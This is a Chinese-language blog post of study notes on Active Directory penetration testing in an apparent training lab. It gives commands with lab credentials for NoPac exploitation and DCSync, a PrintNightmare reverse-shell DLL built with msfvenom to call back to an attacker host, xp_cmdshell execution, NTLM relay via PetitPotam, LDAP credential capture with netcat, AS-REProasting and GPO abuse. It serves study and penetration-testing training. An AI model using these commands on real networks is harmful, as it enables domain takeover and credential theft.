  • 我們或許能夠從主機上竊取敏感資料或憑證。

遠端桌面 (RDP)#

  • 關鍵群組: Remote Desktop Users
  • 枚舉方式:
    • PowerView:
    PS C:\htb> Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users"
    • BloodHound: 查看 CanRDP 連線,或使用查詢 Find Workstations/Servers where Domain Users can RDP
  • 戰術價值: 即使不是管理員,只要能 RDP 進去,就可以搜尋敏感檔案、利用本機提權漏洞 (Local Privilege Escalation),或者單純作為跳板。

PowerShell Remoting (WinRM)#

  • 原理: 透過 Port 5985 (HTTP) 或 Port 5986 (HTTPS) 進行遠端指令執行。
  • 關鍵群組: Remote Management Users
  • 枚舉方式:
    • PowerView:
    PS C:\htb> Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"
    • BloodHound: 查看 CanPSRemote 連線。
  • 攻擊工具:
    • Linux:
    evil-winrm -i <IP> -u <User> -p <Pass>
    • Windows:
    PS C:\htb> $password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force
    PS C:\htb> $cred = new-object System.Management.Automation.PSCredential ("INLANEFREIGHT\forend", $password)
    PS C:\htb> Enter-PSSession -ComputerName ACADEMY-EA-MS01 -Credential $cred
    [ACADEMY-EA-MS01]: PS C:\Users\forend\Documents> hostname
    ACADEMY-EA-MS01
    [ACADEMY-EA-MS01]: PS C:\Users\forend\Documents> Exit-PSSession
    PS C:\htb>

MSSQL Server (SQL Admin)#

  • 原理: 透過 MSSQL 協定 (Port 1433) 連線資料庫。
  • 關鍵權限: sysadmin 角色。
  • 枚舉方式:
    • BloodHound: 查看 SQLAdmin 連線。
    • PowerUpSQL:
    PS C:\htb> cd .\PowerUpSQL\
    PS C:\htb> Import-Module .\PowerUpSQL.ps1
    PS C:\htb> Get-SQLInstanceDomain
  • 攻擊工具:
    • Windows:
    PS C:\htb> Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version'
    • Linux:
    $ mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth
    • 利用手法 (RCE):
    1. 連線後 SQL> help 查看選項(只有擁有 sysadmin 權限,可啟動 enable_xp_cmdshell)
    2. 啟用 xp_cmdshell 預存程序 SQL> enable_xp_cmdshell
    3. 執行系統指令:xp_cmdshell whoami /priv
    4. 如果服務帳號有 SeImpersonatePrivilege (常見於 SQL Service),可配合 JuicyPotato / PrintSpoofer 提權至 SYSTEM。

Kerberos “Double Hop” Problem#

什麼是 Double Hop?#

  • 單跳 (Single Hop): 攻擊機 ➔ 伺服器 A。
    • 這是允許的。你有憑證可以證明身分進入 A。
  • 雙跳 (Double Hop): 攻擊機 ➔ 伺服器 A ➔ 伺服器 B (或 DC)。
    • 這是失敗的。 因為伺服器 A 沒有你的憑證 可以代表你去跟伺服器 B 溝通。

image

為什麼伺服器 A 沒有我的憑證?#

這取決於你「如何」連線到伺服器 A。

  • PsExec (SMB) / RDP - 為什麼沒問題?
    • 這類協定通常會執行 「互動式登入 (Interactive Logon)」 或類似機制。
    • OS 會把你的 NTLM Hash 或 Kerberos TGT 完整的儲存在 LSASS (記憶體) 中。
    • 當你想從 A 跳到 B 時,A 會直接從口袋(記憶體)拿出你的 Hash/TGT 說:「我是 User,我要連 B。」
  • WinRM (PowerShell Remoting) - 為什麼會出事?
    • 預設情況下,WinRM 使用 「網路登入 (Network Logon, Type 3)」。
    • 安全機制: 為了防止伺服器 A (假設它被駭客控制) 竊取你的身分,微軟設計成:「我只給你一張『進入 A 的門票 (TGS)』,但我『不給你我的身分證 (TGT) 或密碼』。」
    • 結果: 伺服器 A 讓你在裡面執行指令,但如果你叫 A 去存取外部資源(例如問 DC 要資料),A 會兩手一攤:「我手裡沒有你的身分證,DC 不理我。」

解決方案#

方法一:使用 PSCredential 物件 (適用於 Evil-WinRM / Linux)#

測試-如果直接跑命令會遇到雙跳問題:

Terminal window
*Evil-WinRM* PS C:\Users\backupadm\Documents> import-module .\PowerView.ps1
*Evil-WinRM* PS C:\Users\backupadm\Documents> get-domainuser -spn
Exception calling "FindAll" with "0" argument(s): "An operations error occurred.
"
At C:\Users\backupadm\Documents\PowerView.ps1:5253 char:20
+ else { $Results = $UserSearcher.FindAll() }
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : DirectoryServicesCOMException

檢查 klist,我們會發現我們只有目前伺服器的快取 Kerberos 票據:

Terminal window
*Evil-WinRM* PS C:\Users\backupadm\Documents> klist
Current LogonId is 0:0x57f8a
Cached Tickets: (1)
#0> Client: backupadm @ INLANEFREIGHT.LOCAL
Server: academy-aen-ms0$ @ // !!!!!
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0xa10000 -> renewable pre_authent name_canonicalize
Start Time: 6/28/2022 7:31:53 (local)
End Time: 6/28/2022 7:46:53 (local)
Renew Time: 7/5/2022 7:31:18 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x4 -> S4U
Kdc Called: DC01.INLANEFREIGHT.LOCAL

設定一個 PSCredential 對象

Terminal window
*Evil-WinRM* PS C:\Users\backupadm\Documents> $SecPassword = ConvertTo-SecureString '!qazXSW@' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\backupadm\Documents> $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\backupadm', $SecPassword)

使用 PowerView 查詢 SPN 帳戶,並且將憑證與命令一起傳遞

Terminal window
*Evil-WinRM* PS C:\Users\backupadm\Documents> get-domainuser -spn -credential $Cred | select samaccountname
samaccountname
--------------
azureconnect
backupjob
krbtgt
mssqlsvc
sqltest
sqlqa
sqldev
mssqladm
svc_sql
sqlprod
sapsso
sapvc
vmwarescvc

方法二:註冊 PSSession 設定 (適用於 Windows GUI / RDP)#

這是一種更進階的方法,透過修改 WinRM 的設定,讓它強制儲存你的憑證

註冊新的 Session 配置:

Terminal window
Register-PSSessionConfiguration -Name backupadmsess -RunAsCredential 'DOMAIN\User'
  • (這會跳出視窗要你輸入密碼)

重啟 WinRM 服務: Restart-Service WinRM

重新連線:

Terminal window
Enter-PSSession -ComputerName <Target> -ConfigurationName backupadmsess

Bleeding Edge (前衛) Vulnerabilities#

1. NoPac (SamAccountName Spoofing)#

這是一個可以讓任何網域使用者瞬間變成 Domain Admin 的漏洞組合

  • CVE 編號: CVE-2021-42278 & CVE-2021-42287。
  • 原理:
    • CVE-2021-42278 (Bypass SAM): 攻擊者可以建立一個新的機器帳戶(預設允許建立 10 個),然後將其 sAMAccountName 改名,騙過系統讓它以為這是 Domain Controller (DC) 的帳號。
    • CVE-2021-42287 (Kerberos PAC): 當攻擊者用這個「假 DC」帳號去請求票據時,KDC 會混淆,最後簽發一張屬於「真 DC」的服務票據給你。
    • 結果: 你拿到了屬於 Domain Controller 的 TGT,也就是說你變成了 DC 本人(SYSTEM 權限)。

Cloning the NoPac Exploit Repo:

$ git clone https://github.com/Ridter/noPac.git

Scanning for NoPac

$ sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap

Running NoPac & Getting a Shell

$ sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap
  • 該命令會使用 smbexec.py 建立半互動 shell
  • smbexec shells we will need to use exact paths instead of navigating the directory structure using cd.

使用 noPac 對內建管理員帳號進行 DCSync 同步

$ sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator

PrintNightmare (列印多工緩衝處理器漏洞)#

這是一個 RCE 的漏洞,影響 Windows Server 2008 到 Windows Server 2019 版本

  • 原理: Windows 的 Print Spooler 服務(列印服務)在處理驅動程式安裝時驗證不嚴。攻擊者可以透過 RPC 請求,強迫遠端伺服器(例如 DC)從攻擊者控制的 SMB 共享下載並載入一個惡意的 DLL 檔案。
  • 關鍵條件: 需要一組有效的網域使用者帳號。
  • 執行流程:
    • 製作一個惡意 DLL (backupscript.dll)。
    $ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dll
    • 使用 smbserver.py 開啟一個 SMB 共享,放入 DLL。
    • 使用 CVE-2021-1675.py 攻擊 DC,告訴它:「嘿,去 \攻擊機\Share\backupscript.dll 安裝這個印表機驅動。」
    • 結果: DC 的 Print Spooler 服務(SYSTEM 權限)載入 DLL,你的 Listener 收到 Reverse Shell。

PetitPotam (MS-EFSRPC 強制認證)#

這是一個 NTLM Relay (中繼攻擊) 的變種,專門用來攻擊 AD CS (憑證服務)。

  • CVE 編號: CVE-2021-36942。
  • 原理:
    • 利用 EFS (Encrypting File System) 的 RPC 介面,強迫 DC 向攻擊者的機器進行 NTLM 驗證。
    • 攻擊者不進行驗證,而是將這個請求 Relay (轉發) 到 AD CS 伺服器(憑證中心)。
    • AD CS 看到是 DC 來申請憑證,於是簽發一張 DC 的憑證 給攻擊者。
    • 攻擊者拿到憑證後,就可以用它來申請 TGT(Pass-the-Ticket)。
  • 關鍵條件: 不需要任何帳號(未驗證攻擊),但網域內必須有安裝 AD CS (Active Directory Certificate Services)。
  • 執行流程:
    • 準備 Relay: ntlmrelayx.py -t http://CA_SERVER/certsrv/ … —template DomainController。
    • 觸發 PetitPotam: python3 PetitPotam.py <攻擊機IP> <DC_IP>。
    • 獲取憑證: ntlmrelayx 會吐出一串 Base64 的憑證。
    • 轉換為 TGT: 使用 gettgtpkinit.py 或 Rubeus 將憑證換成 TGT。
    • DCSync: 有了 TGT,你就是 DC,直接 DCSync 拿下網域。

Miscellaneous Misconfigurations#

1. Microsoft Exchange 相關配置濫用#

Exchange 伺服器通常擁有極高的網域權限,是攻擊者的首要目標。

A. 危險群組 (Dangerous Groups)

  • Exchange Windows Permissions:
    • 特權: 這個群組對網域物件擁有 WriteDACL 權限。
    • 攻擊路徑: 如果你攻陷了這個群組的成員(或有權限將自己加入此群組),你可以賦予自己 DCSync 權限(複寫目錄變更),進而導出所有使用者的 Hash。
  • Organization Management:
    • 特權: 相當於 Exchange 的 Domain Admins。可以存取所有人的信箱,並控制 Microsoft Exchange Security Groups OU。
    • 常見成員: 系統管理員 (Sysadmins)。

B. PrivExchange 攻擊

  • 原理: 利用 Exchange 的 PushSubscription 功能。
  • 流程: 任何有信箱的網域使用者,都可以強迫 Exchange 伺服器(以 SYSTEM 權限運行)通過 HTTP 向攻擊者的機器進行驗證。
  • 利用: 攻擊者將此驗證 中繼 (Relay) 到 LDAP,利用 Exchange 的高權限修改 ACL,將攻擊者升級為 Domain Admin。

2. Printer Bug (MS-RPRN 列印服務漏洞)#

  • 原理: 利用列印系統遠端協定 (MS-RPRN)。任何網域使用者都可以呼叫 RpcOpenPrinter 和 RpcRemoteFindFirstPrinterChangeNotificationEx 方法。
  • 效果: 強迫目標伺服器(通常是 DC)向攻擊者的機器發起 SMB 驗證。
  • 攻擊路徑:
    1. Relay to LDAP: 觸發 DCSync 或設定 RBCD (資源約束委派)。
    2. 跨樹系攻擊 (Cross-Forest): 如果目標開啟了非受限委派 (Unconstrained Delegation),可用於跨越信任邊界攻擊其他網域的 DC。
  • 偵測工具(若回傳 True,代表 Print Spooler 服務開啟,可攻擊):
PS C:\htb> Import-Module .\SecurityAssessment.ps1
PS C:\htb> Get-SpoolStatus -ComputerName ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
ComputerName Status
------------ ------
ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL True

3. MS14-068 (Kerberos PAC 偽造)#

  • 原理: Kerberos 票據中的 PAC (Privilege Attribute Certificate) 包含了使用者的群組資訊。
  • 漏洞: 舊版 KDC 驗證邏輯有誤,允許攻擊者 偽造 PAC。
  • 攻擊效果: 普通使用者可以偽造一張 PAC,宣稱自己是 Domain Admins 成員,KDC 會簽署並發放有效的 TGT。
  • 工具: PyKEK, Impacket (goldenPac), kekeo。

4. 嗅探 LDAP 憑證 (Sniffing LDAP Credentials)#

這是不依賴微軟漏洞,而是依賴第三方設備配置缺陷的攻擊。

  • 場景: 多功能事務機 (Printers)、VPN 閘道器、Web 應用程式後台。
  • 漏洞: 這些設備為了查詢 AD(例如查 email),後台會儲存一組 AD 帳號密碼。且通常有一個 「測試連線 (Test Connection)」 按鈕。
  • 攻擊流程:
    1. 登入設備後台(通常是弱密碼)。
    2. 將 LDAP 伺服器 IP 修改為 攻擊機 IP。
    3. 在攻擊機監聽 Port 389 (nc -lvvp 389)。
    4. 按下「測試連線」。
  • 結果: 設備會將 AD 帳號與密碼以 明文 (Cleartext) 發送到你的 Netcat。

5. DNS 記錄枚舉 (Enumerating DNS Records)#

當 BloodHound 只顯示一堆無意義的主機名稱(如 SRV01934)時,DNS 枚舉能幫你找到高價值目標。

  • 原理: 預設情況下,任何網域使用者都可以列出 AD 整合 DNS 區域的子物件。
  • 工具: adidnsdump
  • 指令:
adidnsdump -u <User> ldap://<DC_IP> -r

(參數 -r 會自動解析未知記錄的 IP)

  • 輸出結果: 可以在 records.csv 中發現隱藏的服務,例如 JENKINS, GITLAB 等關鍵字,或是被遺忘的測試主機。

6. 其他錯誤配置 (Other Misconfigurations)#

這裡介紹了四種常見的人為疏失或屬性設定錯誤。

A. 密碼寫在描述欄位 (Password in Description)#

現象: 管理員在 Description 或 Notes 欄位紀錄初始密碼。

PowerView 指令:

Get-DomainUser * | Select-Object samaccountname,description | Where-Object {$_.Description -ne $null}

B. PASSWD_NOTREQD (不需要密碼)#

現象: 使用者屬性 userAccountControl 設有 PASSWD_NOTREQD 旗標。

意義: 該帳號 允許設定為空密碼 (Blank Password)。這不代表它現在沒有密碼,但值得嘗試用空密碼登入。

PowerView 指令:

S C:\htb> Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol

C. SYSVOL 腳本中的憑證 (Credentials in Scripts)#

現象: SYSVOL 共享資料夾(全網域可讀)中的 scripts 目錄下,遺留了包含明文密碼的 VBS/BAT/PS1 腳本。

範例: 找到 reset_local_admin_pass.vbs,裡面寫著 sPwd = ”!ILFREIGHT_L0cALADmin!”。

利用: 拿到密碼後,使用 CrackMapExec (—local-auth) 對全網域進行密碼噴灑,看是否還有機器使用這組管理員密碼。

D. GPP 密碼與 Autologon#

這是舊版 Group Policy Preferences (GPP) 的歷史遺毒。

  1. GPP Password (Groups.xml 等):
  • 儲存方式: AES-256 加密的 cpassword 欄位。
  • 漏洞: 微軟公開了 AES 私鑰,任何人都能解密。
  • 工具: gpp-decrypt <cpassword> 或 crackmapexec … -M gpp_password。
  1. Autologon (Registry.xml):
  • 儲存方式: 用於設定自動登入。密碼以 明文 (Cleartext) 儲存在 XML 中。
  • 工具: $ crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin

7. AS-REProasting (不需要 Kerberos 預先驗證)#

原理: 針對設定了 DONT_REQ_PREAUTH 的使用者。攻擊者可直接請求 AS-REP(內含使用者密碼加密的資料),並進行離線破解。

Windows 攻擊流程 (Rubeus)#

使用 Get-DomainUser 列舉 DONT_REQ_PREAUTH 值:

PS C:\htb> Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl
samaccountname : mmorgan
userprincipalname : mmorgan@inlanefreight.local
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, DONT_REQ_PREAUTH

使用 Rubeus 以正確格式檢索 AS-REP:

.\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat

使用 Hashcat 離線破解哈希值

hashcat -m 18200 hash.txt wordlist.txt

Linux 攻擊流程 (Impacket):#

使用 Kerbrute 取得 AS-REP

$ kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt

尋找無需 Kerberos 預授權的用戶

$ GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_ad_users

8. GPO 濫用 (GPO Abuse)#

如果攻擊者控制了對 GPO 物件有寫入權限的帳號,可以對整個 OU 下轄的電腦發動攻擊。

GPO配置錯誤可被濫用以執行以下攻擊:

  • 為使用者新增額外權限(例如 SeDebugPrivilege、SeTakeOwnershipPrivilege 或 SeImpersonatePrivilege)
  • 新增本地管理員
  • 排程任務: 建立一個立即執行的排程任務 (Immediate Task),執行 Reverse Shell

枚舉 GPO#

使用 PowerView 列舉 GPO 名稱

PS C:\htb> Get-DomainGPO |select displayname
displayname
-----------
Default Domain Policy
Default Domain Controllers Policy
Deny Control Panel Access
Disallow LM Hash
Deny CMD Access
Disable Forced Restarts
Block Removable Media
Disable Guest Account
Service Accounts Password Policy
Logon Banner
Disconnect Idle RDP
Disable NetBIOS
AutoLogon
GuardAutoLogon
Certificate Services
  • 我們可以看到自動登入正在使用,這可能表示 GPO 中存在可讀密碼
  • 可以看到網域中存在 ADCS

使用內建 cmdlet 列舉 GPO 名稱

PS C:\htb> Get-GPO -All | Select DisplayName

枚舉 Domain User group 的 GPO 權限

Terminal window
PS C:\htb> $sid=Convert-NameToSid "Domain Users"
PS C:\htb> Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}
ObjectDN : CN={7CA9C789-14CE-46E3-A722-83F4097AF532},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
ObjectSID :
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, Delete, GenericExecute, WriteDacl,
WriteOwner
BinaryLength : 36
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 983095
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-513
AceType : AccessAllowed
AceFlags : ObjectInherit, ContainerInherit
IsInherited : False
InheritanceFlags : ContainerInherit, ObjectInherit
PropagationFlags : None
AuditFlags : None

我們可以看到 Domain User 有 WriteProperty and WriteDacl 可用於後續攻擊

確認影響範圍:

  • 使用 BloodHound 查看 GPO 連結到哪個 OU (GpLink),以及該 OU 底下有多少電腦。

發現弱點:

image

可以看到 Domain User 群組對 DISCONNECT IDLE RDP GPO具有

  • GenericWrite (寫入權限)
  • WriteOwner (修改擁有者)
  • WriteDacl (完全控制GPO)

確認影響範圍:

image

只要我們修改了那個 GPO,ACADEMY-EA-APP01 ~ 05 在下次更新原則 (gpupdate) 時,就會自動執行我們植入的惡意指令

Active Directory Enumeration & Attacks
https://bearrr777.github.io/posts/tech-sharing/ad_pentest/
作者
RUI
發佈於
2025-12-28
許可協議
CC BY-NC-SA 4.0